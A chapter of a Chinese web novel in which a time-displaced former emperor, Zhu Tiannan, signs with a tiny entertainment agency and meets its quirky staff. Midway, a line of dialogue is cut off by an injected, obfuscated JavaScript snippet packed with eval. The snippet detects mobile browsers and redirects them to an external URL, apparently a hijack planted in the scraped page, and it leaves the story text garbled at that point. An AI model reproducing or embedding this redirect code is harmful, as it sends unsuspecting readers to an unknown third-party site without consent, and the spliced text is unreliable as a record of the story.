小圆一咬牙,两眼泪汪汪地说:“老板啊,你也知道,我们公司缺少新鲜的血液,急需新人的加入啊。” “话是如此,但是这是黑户的问题呀。”小老板扶额苦笑,“这种情况,也是非常棘手呢。” “老板,你先看看这个数据。”小圆心中一横,将烛天南的简历递给小老板,道,“你看,短短一个月,在只是跑龙套的情况下,她竟然能够得到这种关注度。这种人才种子,我们可不能不拿下呀。” 小老板先是粗略地扫了一眼,接着顿住身形,凑紧那份简历,来来回回看了几遍后,再看向烛天南。 烛天南站直身体,负手在后,光明正大地接受小老板的打量,看起来完全不知道自己刚刚说的话有多么骇人听闻。 “你……你真的……唉。”小老板对着小圆狠狠地叹了口气,转过身,问烛天南,“你这些都没有,又是怎么来到竖店的呢?” 烛天南心里已有对策,眼神落寞,半真半假地编造道,“实不相瞒,我自幼就被拐卖到了荒山老林之间。家里人不给我饭菜吃,不给我上户口,甚至不让我上学。现在他们又要卖掉我……我从人贩子手里逃出来了,正好被黄导所救,带到了竖店。” 两人脸色一变。小圆望向烛天南的眼神多了几分怜悯和同情,而小老板则懊悔地拍了拍自己的脑袋。 烛天南瞟了一眼两人,露出灿烂的笑容,看起来毫不在意自己的过往,反而回过来安慰他们,说:“不过没关系,一切都过去了……你看,我现在不好好地站在了你们面前吗?” 小圆努力地点头,附和烛天南。 小老板虽然有点愧疚,但并没忘记他的初心,沉吟片刻,道:“我有人脉,能帮你解决你的户口问题——不过,你知道的,我是个商人。” “当然,不过小圆说过,贵公司从来都不会做出那种压榨别人的事情。” 两人互相试探,唇枪舌战,终于商量出两个人都满意的结果。 “那等会儿,小圆带你去看看其他员工。”小老板抬腕看了下时间,道,“我还有事,要先走了。” “好的。”烛天南笑着说,“不过,我想先去一下洗手间。” -- 灰色的墙壁和地瓷砖,洗手台上放置着葱绿的小盆栽,在冷白色的灯光下,重叠了摇曳的影子。厕所的香氛很高级,是清幽的草木气息。 洗手台的水龙头“哗啦啦”地放水。烛天南弯腰闭眼,捧着水,泼到自己的脸上,溅到了宽敞的镜子上。 冰凉的水让她清醒了许多,舒缓了一直悬挂笑容的脸肌的酸痛。 她抬起头,镜子里的女生也抬眸。湿漉漉的碎发粘在光洁的额头上,水珠滑过她完美的轮廓,滴入洗手台的水池里。凤眸轻掀,没有表情,看起来格外凉薄。 如果小圆在场,会惊讶地发现,烛天南眼底不再是小圆平常熟悉的笑意,而是一片无风浪的湖,令人莫名背后发凉,心惊胆颤。 身为皇帝,最重要的,就是不能让别人猜出自己的所思所想,以及最大程度地提防他人。 烛天南垂下眼眸,扇睫投下一份阴影,模糊了她眼底的神情。 皇帝,是有着最高天赋的演员。 烛天南将手伸向水龙头,进行冲洗。刚刚她签字的时候,小拇指边缘沾上了墨迹,宛若上好的白玉染上了些许瑕疵。 水流冲掉了墨渍,留下被洗得发红的皮肤。 她毫不在意,关掉水龙头,随手抽了一张纸,慢条斯理擦去手指上的水珠,着重揩去刚才墨迹沾染的地方,直到那块发红的地方即将破皮,她才停手。 纸巾在她的手中变软,缩成一团,而后飞进了垃圾桶。 “天南姐,你好了吗?”小圆的催促声在门外响起。 “很快了。”烛天南回应道。 她撩开粘在额头上的碎发,面无表情地注视着镜中的自己,片刻后,闭上眼睛。 再睁开时,烛天南已然装扮上了最常见的笑容,仿佛刚才一切都是错觉。 这表情是她登基前,摸爬滚打摸索出来的——最能降低别人戒备心的笑容。效果也十分显著,所有人都不把她当作对手,最后都成了她的手下败将,坟头草已经郁郁葱葱了。 而经过她这段时间的反复试探,她明白,现在,这副表情依旧有用——参考小圆。 虽然她隐隐察觉出小圆不对劲——太巧合了,无论是与她相遇的时间还是现在提供这次“面试机会”,但小圆目前并未有害她的想法。那么她便顺水推舟,接下这个机会。 皇帝眼里只有最大化的利益。 她保持着这副笑容,与小圆逛了一圈公司。 然后笑容凝固了—— 只因烛天南随口一问:“公司现在的艺人有哪些?” 而小圆老实回答:“只有一位歌手。” “只有,一位?”烛天南难以置信,停下脚步。 “加上刚入职的你,就有两位了。”小圆贴心地补充了一句。 烛天南一直以来高速运转的大脑罕见地宕机了。她望向小圆,小圆真诚地向她点头,长长地“嗯”了一声。 “那……你们公司,是怎么继续发展的?只有一名,怎么运转?”烛天南现在已经了解了现代社会的七七八八了,更不必说,在前来求职这家无定娱乐文化有限公司之前,她也详细地做过了这方面的功课。 “啊,很简单呀。我们公司的那位歌手,是苍山付。”小圆说了这一句,看见烛天南仍然一脸困惑,就进一步地补充道,“就是业界的那位鬼才歌手。” “我听说过这名字……不过我在网上搜到过,他上一次发专辑,不是在三年前吗?” “是呀。”小圆理所当然地说,“他发一次专辑,分红完可以支撑我们三年——也只能支撑他生活三年。” 所以,三年卖一次,一次撑三年。 不到最后一刻,是绝对不会向金钱屈服的。 烛天南无言以对,只能比了个大拇指,表达自己的敬佩之情,心里对这位歌手有点好奇了。 “不过,可惜的是,他这段时间有点忙,说是找到了写歌的灵感了……不过,我猜,可能是缺钱了。”小圆悄悄地吐槽道。 “你们的工资,还会照常发吗?”烛天南愣住了。如果小圆不缺钱的话,她为什么要去竖店当化妆师呢? “当然,我们又没有离职。”小圆看出了烛天南心中的疑惑,笑道,“因为苍山付他长得好看,我不怎么画就能直接上场。这样太没有挑战性了,我也没办法进步。所以,我就去竖店打工啦。” “……优秀。”烛天南无话可说。 两人正聊着,一位戴着帽子的人路过了她们。 他看见小圆后,抬手跟她打了个招呼。 小圆笑着跟烛天南介绍道:“你可以叫他吴财,他就是财务部部长。” “财务部就我一个人,我是我自己的部长。”吴财扬起微笑,向烛天南握手,随后问小圆,“你在给新员工介绍公司人员?” 小圆点头,吴财了然,站在了她们旁边。 “你也是刚入职的?”烛天南看他不走,有点好奇。 “他可不是,已经来了好久了。”小圆继续介绍,“还有公关部部长、法务部部长、新媒体运营部部长……” 小圆报了一大串职业名字,然而没有人来。烛天南东张西望,好奇地问道:“这么多人,在哪里?” “在这里。”吴财举手,顺便把帽子摘下来,做了个弯腰礼。 他的帽子摘掉之后,露出了光溜溜的脑袋,在灯光下闪闪发光。不知情的人还以为这里安装了两盏闪闪发光的灯泡。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14273121|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我现在大概知道,你为什么头发告急了。”烛天南敬佩地朝吴财作了个揖,“这么多年,您辛苦了。” “哪里哪里。哈哈哈。”吴财摸了摸自己的光头,又将帽子扣回自己的头上,一脸怀恋地说,“想当年,我刚入职的时候,头发也非常茂盛——而现在,唉。时间不饶人啊。” 吴财追加了一句,说;“你猜猜我多少岁?” “37?”烛天南说得很保守。 “哈哈哈,我今年25。” 烛天南惊愕。 “我四年前入职的。”吴财深深叹了口气,然后掏出手机,老气横秋地说,“先不聊了,我要看看我的股怎么样了。” 吴财一打开,顶着一片绿光,如同行走的绿灯,离开了,看起来很镇定—— 前提是忽略他没有起伏的悲伤声音,“没事,只不过是又赔了小千……呜呜呜。” 烛天南默默地摸了摸自己的头发。 还好,还在。 小圆拍了一下烛天南的肩膀,笑道:“吴财他有的时候就喜欢开玩笑,当然,他人很好的。” 两人走回了大厅的座位。突然,门“唰”地推开,一个风风火火的身影闯了进来,眼睛像x光片扫射了一圈后,目光集中在了烛天南的身上。 “小圆,我听说我终于有艺人能带了,是真的吗?”虽然她是在对小圆说话,但是她的眼睛却集中在烛天南的身上。 “天南姐,这就是你的经纪人,盛怜云啦。”小圆向烛天南介绍,“之后,就由她负责你的工作对接等等。” 盛怜云走近烛天南,止不住地赞叹道:“太好了,这个苗子太好了。” 烛天南被她饥.渴的目光打量得不太自在,仿佛有蚂蚁在身上到处乱爬。 盛怜云仰天大笑,抹了一把不存在的眼泪,喊道:“上天心里果然还是有我的。作为金牌经纪人的我,终于能够发挥我的全部实力了,哈哈哈哈哈。” “盛姐是工作狂啦。她本是金牌经纪人,但因公司内斗被辞退,于是就来到了我们公司。只可惜,苍山付他太摆烂了,而我们公司也不是谁都能进的。所以她一直以来都太无聊了。”小圆补充了一句,“其他人我就不带你认识了,缘分到了自然就会出现了。” “幸会,盛姐。”烛天南朝盛怜云伸手,与她握手,想抽回手时,她却只觉得自己的手像是被某种不知名力量吸附住了一般,怎么抽都无法动弹。 “额……这?”烛天南望向小圆,疯狂地向小圆使眼色。 小圆看看天看看地,然后拙劣地拍了拍脑袋,装作想起事情一般,讪笑道:“哈,哈,哈,我想起来了,我等会儿要去剧组化妆,就先不唠嗑了。” “不是……等等。”烛天南敏锐地感觉到了不对劲,她猛地回过头看向盛怜云,后者一脸阴沉,一个字一个字往外蹦—— “所以,你,爱,工,作,吗?” 盛怜云的眼睛划过狠厉的冷光,仿佛只要烛天南说一个“不”字,她就会化身成狼人的模样,将烛天南撕成两半。 “爱,我太爱了。”烛天南的笑容僵硬了,内心疯狂尖叫。她点头如捣蒜,怕盛怜云不相信般,加了几句,“演戏就是我的生命,我的时间,我的唯一!” 从某种程度上说,她的生命跟演戏确实紧密相连。 盛怜云满意地点头,语气缓和了点,道:“你有什么目标?” “摆烂……肯定是不会的,我绝对会将演戏放到我人生的第一位!”烛天南仔细观察盛怜云的表情,随机应变改口。 “有思想!有觉悟!哈哈哈。不过把演戏放到第一位就太夸张了。”盛怜云自来熟地将烛天南捞到怀里,拍了拍烛天南的头,爽朗一笑,道,“正好我现在手上还有点人脉,有剧本。你等会儿跟我去挑。” 烛天南就这么被拉进盛怜云办公室,挑起了剧本。